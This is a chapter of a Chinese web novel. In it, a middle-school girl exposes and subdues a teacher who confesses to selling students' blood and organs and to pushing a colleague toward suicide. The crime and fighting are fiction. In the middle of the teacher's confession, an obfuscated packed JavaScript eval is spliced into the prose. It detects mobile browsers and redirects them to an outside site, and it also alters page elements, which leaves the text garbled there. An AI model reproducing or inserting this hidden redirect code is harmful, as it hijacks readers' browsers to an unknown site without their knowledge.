“哦,那还挺远的,”像是信了她的话,万育才的余光在周围扫视了一圈,“你自己来的?” “我要是不是自己来的,哪能随便敲人家的门借打气筒啊。”姜颂禾道。 万育才明显信了:“你在这里等着,我去给你拿,打完气赶紧回家。” “谢谢老师,”眼看着万育才就要往屋子里走,姜颂禾立刻叫住他,“老师,你再帮我那点纸钱吧。” “你弄纸钱干什么?”万育才疑惑道。 “我妈妈说,遇事不慌,先拜拜,”姜颂禾道,“把捣乱的小鬼请走,我就顺了。” “我没听过这种歪理。”万育才疑惑着道。 “那你现在不就听过了嘛?”姜颂禾嘻嘻笑着道。 万育才:“行,在这里等着。” “好。” 万育才走进主屋,没用几分钟他便拿出来一沓纸钱和一个铁质充气泵。 姜颂禾不着痕迹地蹙了下眉头。 她原以为万育才家不会有纸钱这玩意,谁知道他不仅有,还放在这么容易找到的地方。 “给你。”万育才把两样东西递给她。 姜颂禾:“谢谢老师。” 姜颂禾在自己书包掏了掏,最后她从里面拿出一个塑料打火机。 万育才不着痕迹地瞄了眼姜颂禾的书包。 里面有鱼线,有伸缩型鱼竿,还有自制的一些乱七八糟的“发明”。 他嫌弃地扯了扯嘴角:“你书包里的这些东西都是……” “都是我自制的,怎么样?是不是很厉害?”姜颂禾满怀期待地盯着他,双目放着光。 可万育才只觉得她的笑容十分扎眼。 像是在期待万育才能夸自己几句,姜颂禾继续翻 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姜颂禾盯着他,双手不自觉握成拳头。 她原想着自己能够拖延到姜酩野来接自己,没想到姜酩野还没来,万育才就准备对自己下手了。 “不愿意进?”万育才调侃道,“我印象中姜颂禾大发明家,胆子可是同年级里最大的。” 激将法。 很小儿科,又轻而易举可以识破的伎俩。 可偏偏她不能拒绝。 想要救年予白,她必须进去。 “怎么会!是老师请我进去的哦,要是我不小心搞坏你家什么东西,你可不能生气。”姜颂禾推着自行车,提前预警了句。 “不会。”万育才拉开大门。 嘭—— 姜颂禾还没来得及迈进大门,院子里再次传来一个重物撞击的声音。 姜颂禾停住脚,她一脸平静地盯着万育才。 万育才尴尬地笑了笑:“怎么了?” “没事,”姜颂禾摇摇头,“就是我觉得你家这条哑巴狗,有点凶。” “它不会咬人吧。” “不会。”万育才干笑着保证道。 姜颂禾推着车子,走进院子。 院子很安静,甚至可以说安静到可怕,微风轻轻扫过,还能感觉到空气中带着些许阴森感。 姜颂禾把车子停在院子中央,她小心地把充气泵的输气口固定在轮胎上面:“老师,你这个充气泵好久没用了吧,都生锈了,能充进去气吗?你家还有其他备用的吗?” “唔唔——”左侧屋子大大小小的碰撞声不断。 许久没有得到回答,姜颂禾自顾自地说:“万老师,我觉得这个充气泵不好用。” “唔唔唔——”屋子传来的撞击声不断。 姜颂禾自顾自地说着,突然身后一团黑影正悄无声息地靠近她。 姜颂禾像是丝毫没注意,她头也不抬地继续说:“万老师,你家这狗够闹腾的啊。要不要交给我养?我妈妈说,我养宠物有一套的。” “我养过泰迪、边牧……” 姜颂禾话还未落,她快速起身,接后转180抬腿一个横扫。 嘭—— 毫无防备的万育才疼得龇牙咧嘴,他弓着腰后退了几步,被左手握住的右手抑制不住地颤抖。 姜颂禾稳稳地站在原地,目光觑着躺在地上的匕首,一脸天真地问:“万老师,你这是打算杀我吗?” 15.第 15 章 “你在说什么?”万育才握住被踹疼的手道,“我刚才只是想去帮你。” “你有这么好心吗?”姜颂禾不打算继续装下去了,她歪着头,继续道,“万老师,别装了,那个屋子根本不是哑巴狗,而是被你堵住嘴不能出声的年予白——年老师吧。” 听到这话,左侧屋子的响动彻底消失了。 “姜颂禾,你看你又胡说八道了,年老师怎么可能在我家?” 万育才刚想狡辩,姜颂禾便道,“让我想下应该怎么说。” 姜颂禾思考了一会儿,道:“我调查过你,六年前入职,曾担任过语文老师、心理老师,级部校长以及总校长助理。在职期间,共有跳楼自杀的学生有五人,分别是一个初一年级,两个初二年级,两个初三年级。巧合的是,你在哪一年级,自杀的学生就会在哪一年级。” 万育才沉默不吭声。 姜颂禾继续道:“我都不知道应该说你天生克学生,不适合当老师,还是应该说你一直暗中利用自己的职权行什么便利了。” “说起这个,我突然想起来你好像说过我天生有疾,需要每个月抽血来检查身体,但又以帮我逃课为幌子,让我不要告诉家长对吗?” “可是我很好奇,我天生有疾,为什么我爸妈都不知道,你却知道得这么清楚?” “我不会和他们一样,是你这一年用心培养的移动血站吧,”姜颂禾道,“那我现在还活着,可真是命大。” “你在说什么?”万育才努力维持着自己的表情,“姜同学别污蔑老师,我好心让学校给你请医生按时检查身体……” “医生?”姜颂禾冷嗤了一声,严肃道:“那三个穿白大褂的真的是医生吗?依我看,他们应该是你的同伙吧。” “你一个小孩,知道……” 万育才话音未落,姜颂禾率先伸出三只手指对着他。 不明所以的万育才闭着嘴。 “一共有三处漏洞,”姜颂禾缓缓道:“其一,正常医生为了防止细菌污染自己的衣服,任何工作的见空都必须标准地扣紧扣子。” “其二,那名分流的医生身上根本不是酒精味,是酒糟味,说明他曾经去喝过酒。” “其三,那名医生身上的酒味醇香浓厚,细嗅还能闻到坚果味,说明是坛好酒,还是纯粮食酿造的。医生工资不高,并明确规定禁止工作时间饮酒,所以他们根本不是医生。” “把验血队伍分成两列,表面上是为了避免学生拥挤,实际上是为了区分学习成绩好的学生和学习成绩差的学生,家境好的学生和家境普通的学生吧,”姜颂禾冷哼一声,“因为你料准,学习差、贪玩,家里没权势的学生,哪怕是把抽血的事情告诉家长,家长也会基于对老师的信任,忽视学生话里的信息。” “哪怕是学习成绩差的学生家长找来学校,你也可以让成绩好的学生来给自己作证,摆脱自己的嫌疑。” “而好学生也没有撒谎,他们确实抽的血不多。” “进而很多家长会觉得,验血只是抽一小管血化验吗?为什么自家孩子会这么娇气,很排斥检查身体。进而分裂家长和学生的信任关系。这个时代,信息闭塞,家长受限于狭隘的知识面和文化水平,很多人会自然而然地相信文化水平更高一阶的老师。” “这也是为什么每次体检,操场上除了你没有其他老师的原因。因为你知道,初中时期,学生的三观还没真正树立起来,他们的话大多数情况不会有人真的信。但老师不行,他们有着成人的理智和相对成熟的三观,你在他们面前露出一丝马脚,都将彻底终止掉你的所有计划。” “所以每次体检,你都要借着校长的名义给全体老师开一次会,以此来保证自己的计划万无一失。” 万育才紧紧地盯着她。 姜颂禾继续道:“可你却漏了一个变数——刘念,也就是朱珍珍,五年前自杀的初一学生朱莹莹的亲姐姐。她识破了你的计划,所以你就杀人灭口。” “不,不对,”姜颂禾自己纠正自己,道,“她是自杀的,但具体原因大概只有被你关在西屋的年予白知道,可是我也可以大胆猜一下。” “事情大概应该是这样的,”姜颂禾继续道,“朱珍珍为了调查自己妹妹朱莹莹的死因,她借着自己舍友的身份入职,成为了一名实习教师。” “她当实习老师这一年里呢,勤勤恳恳。不止教出来的学生成绩优异,就连全级部的老师的关系,她也处理地十分得体融洽。” “后来,她发现搞好关系,并不能让自己得到任何线索。所以她就只能这种选择接近老教师。” “但是因为她喜欢化妆,所以很多已婚的老老师的老婆们,就会觉得她在勾引他们。” “挨了不少误会。校长性子虽是软弱,但惜才,每次朱珍珍闯祸,他都会帮忙摆平。” “而你,起初对她并不在意,可是直到你发现,她总是或有或无地调查五年前的案子,你才怀疑起了她的身份,恐吓她,逼得她自杀!” 一瞬间,世界变得很安静,没有人说话,没有车笛哼鸣,有的只是簌簌的树叶声,和淡淡的微风声。 “你错了。”万育才冷不丁念叨了句。 姜颂禾:“嗯?” 万育才冷声道:“其实从刘念刚入职,我就怀疑起了她的身份。因为她长得和朱莹莹太像了,像到就像是一个模子刻出来的。” 姜颂禾蹙眉:“为什么对朱莹莹印象这么深?” “好问题,”万育才鼓着掌向她逼近,直至姜颂禾被逼退至墙角他才缓缓道,“因为她和你们不同。” “她是我第一个移动器官库。” 姜颂禾握紧拳头:“你摘她器官了?” “对,”万育才吊儿郎当道,“问题不大,就摘了个肾。” “你年级小可能不了解,人有两个肾,摘掉一个,问题不大!”万育才嚣张地道。 “谬论,”姜颂禾瞪着他,怒吼道,“这只是你粉饰自己恶行的托词。人体是一个精密的机体,每一个器官,每一处毛发都有她必须存在的理由!” “任何人以任何理由诓骗、欺瞒、侵犯,都是违法犯罪!” “嘘,别那么大声!”万育才向后退了几步,继续道,“我也知道,做了这么多恶事,最后的结果一定是死刑,所以我才找隋原那个懦夫替我顶包啊。” “什么意思?”姜颂禾警惕地盯着他。 “在我知道刘念是来调查我的后,我就故意接近她,试图误导她的调查方向,”万育才道,“谁知道,她那么蠢,真的信我了。” “我告诉她,这一切都是校长搞的鬼,是校长为了赚赌博的钱,所以才卖学生血谋生的。” “她就信了?”姜颂禾问。 “信了啊,为什么不信?毕竟我可亲自带她去赌场见过校长的,”万育才道,“不仅如此,我还经常给她透露五年前的线索,就是希望她能重翻旧案的时候,一口咬死隋原。” “有隋原这个校长顶罪,我这个无足轻重的人又有谁会在意呢。” 姜颂禾盯着他,像是明白了什么,她沉默片刻道:“那你心思可真是缜密。为了让刘念信任你,故意给她送纸钱,让她在校长办公室后面烧纸钱;又为了让全学校老师孤立她,你不仅散播谣言说她喜欢勾搭老教师,还给她冠上了祭祀迷信的帽子。” “这你都猜到了?厉害啊,”万育才没感情地鼓了鼓掌,“不愧是我抽了这么多次血还活着的——初、中、生!” 姜颂禾沉默。 “不过,你生命力旺盛又怎么样?今晚你还是得交代在这里。” 姜颂禾知道他肯定没安好心。 “据我所知,你家隔音不好,你就不怕我大喊大叫把隔壁邻居引来吗?”姜颂禾威胁道。 “你尽管叫,要是在院外,还会有人帮你。可是现在你是在我家,别人问起来,也是我在教育自己的学生,”万育才道,“毕竟如果真的是我要绑架你,你为什么在进屋的时候不大喊大叫,偏偏进屋以后,才觉察出不对?” 姜颂禾缓缓平移了几步,她道:“我比较好奇,为什么朱莹莹是挖器官,而我们是抽血?” 万育才仰头惆怅了一会儿,半响才道:“还是因为朱珍珍。” “为什么?”姜颂禾继续问。 “因为五年前朱珍珍一直要求警方解剖尸体。”万育才停顿一秒,继续道,“那个时候,我们才意识到——只要警方解剖尸体,就一定会发现我们正在做的事。” “卖血可不一样,每个人的造血功能不一样,哪怕是低血晕倒,也会被误以为是营养不良低血糖。” “这么多年,就没有学生发现不对劲?”姜颂禾问。 万育才嗤笑道:“有,但不多。” 姜颂禾双手握成拳头:“最后一个问题,死者也是在你引导下自杀的?” “既然你快死了,我也不怕告诉你答案,”万育才道,“既可以说是,也可以说不是。” “当时我一边把所有线索都一点一点透露给朱珍珍,让朱珍珍误以为五年前她妹妹的死确实是隋原一手造成的。一边又散播在职老师迷信邪教的谣言,让校长带头亲自去查她。” “我趁机销毁了我提供给朱珍珍的所有证据,毕竟她怎么也想不到,证据是我给的,也是我销毁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15272143|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你何必多此一举?”姜颂禾问。 “因为,证据太明显了,反而很假,”万育才道,“只有由一个案子抽丝剥茧牵扯出一个嫌疑人的时候,警察才会相信。” “所以我告诉朱珍珍,想要让警方重新调查校长隋原所犯下的罪证,那就制造一个举世哗然的案子,让所有矛头都指向校长。” “然后她就想到了自残并跳楼?”姜颂禾沉稳着问。 “对,”万育才摊着手,笑道,“是不是很天才?” 万育才夸张的笑着,他指着自己:“我想的……哈哈哈,我想的。” “她本是我手里最锋刃的一把刀,谁都打不破,没想到自断了自断了……哈哈哈。” “那把凶器拿去校长办公室的,是你,”姜颂禾蹙眉,继续问,“不是年予白?” “是我,”万育才嫌弃道,“那个废物优柔寡断,除了请客吃饭,劝她冷静不要做出格的事儿还能干什么?!” “其实,这些年靠着贩卖器官的钱,我已经赚得差不多了,正愁着收手呢,这个时候,朱珍珍出现了,”万育才道,“刚好我们可以借她的手,洗脱自己的嫌疑,并且顺利的话还能成功把隋原从校长的位置上掰下来。” “一举两得。” “那为什么又要抓年老师?”姜颂禾道。 “本来我不想抓他的,可挨不住朱珍珍什么都和他说啊,”万育才道,“就连遗书都交给他保存……还真是……” 姜颂禾蹙眉:“遗书?” 突然,万育才的话倏地停住。 他自嘲地笑了下:“真没想到,跟你一个小孩展示我的伟大计划,竟把我自己给说爽了,行了该送你上路了。” 万育才渐渐逼近,姜颂禾拔腿就跑。 耳边冷风呼啸,姜颂禾还能稳稳地听到万育才稳重的脚步声。 姜颂禾一边注意着身后万育才的距离,一边随便抓着沿路的东西扔向他。 可一个初中生的身体哪里比得上一个成年人? 眼看着就要被他抓住了,姜颂禾快速跑到一个转角,并只身爬上旁边的水缸。 眼看着万育才逼近,站在缸沿的姜颂禾一个侧横踢,脚面当即踹到了万育才的脸上。 万育才疼得捂住脸。 姜颂禾拿着水缸顶上的铁盖子,在万育才耳边邦邦敲了好几下。 震耳欲聋的打铁声震得万育才耳朵生疼。 “妈的。”万育才爆了句粗口,然后伸手就要抓她下来。 姜颂禾灵巧地顺着水缸的边缘走了几步,她的步伐稳健,哪怕是算不得粗的水缸壁,她也能如履平地。 姜颂禾有些震惊。 这就是经常上墙爬屋的初中生身体素质吗? 但凡她再锻炼得力气大些,这具身体的性能完全不输她前世啊。 不对,应该说比她前世还要好。 毕竟原主是从小练的是自学的“童子功”,而前世她是上大学后才系统接受的警校训练,完全没得比。 趁着万育才没反应过来的空儿,姜颂禾从旁边的晒衣绳上随手拎了件衣服,她将自己用力一甩,直接甩到了万育才身上。 她灵巧地用腿缠过万育才的身体,然后两个指头死死扣住万育才的鼻孔。 “啊——别扣我鼻子!”万育才疼得嗷嗷叫,但他依旧不死心地捏住姜颂禾的小腿。 注意到自己的腿动不了了,姜颂禾来不及思考,她凭借着自己的记忆本能,把用胳膊勒过万育才的脖子,她微微一用力,万育才身体瞬间支撑不住倒在地上。 在即将接触地面的一刹那,注定要当垫背的姜颂禾一个转身转到了前面。 把万育才跌得龇牙咧嘴的。 趁着万育才还没从疼痛中回过神来,姜颂禾又勒住万育才的后衣领,一个转身从万育才身上跳下来,转瞬她两只手快速捏住万育才胳膊,双腿则分别绞在万育才的脖子和前胸处。 是巴西柔术里,一个十分标准的“手臂十字固”! 是一个但凡力气大些都可以轻易捏碎对方手臂的杀招! “啊——” 姜颂禾微微一用力,万育才疼得直接叫出了声:“你他妈是谁?!” 刚才听了万育才那么多嚣张地话术,姜颂禾耳朵都要起茧子了。 他还好意思问她是谁? 有些用尽力气的姜颂禾没好气地回怼了句:“我是你爹!” 就在姜颂禾左右看着,思考如何把万育才捆起来的时候。 门口突然响起了一阵很有规律的敲门声。 咚咚咚—— 咚咚咚——